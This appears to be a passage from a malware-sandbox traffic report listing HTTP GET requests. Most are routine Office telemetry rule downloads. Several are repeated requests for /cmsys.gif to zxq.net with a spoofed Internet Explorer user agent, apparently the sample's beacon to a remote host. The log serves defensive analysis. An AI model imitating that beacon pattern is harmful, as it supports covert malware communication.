Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
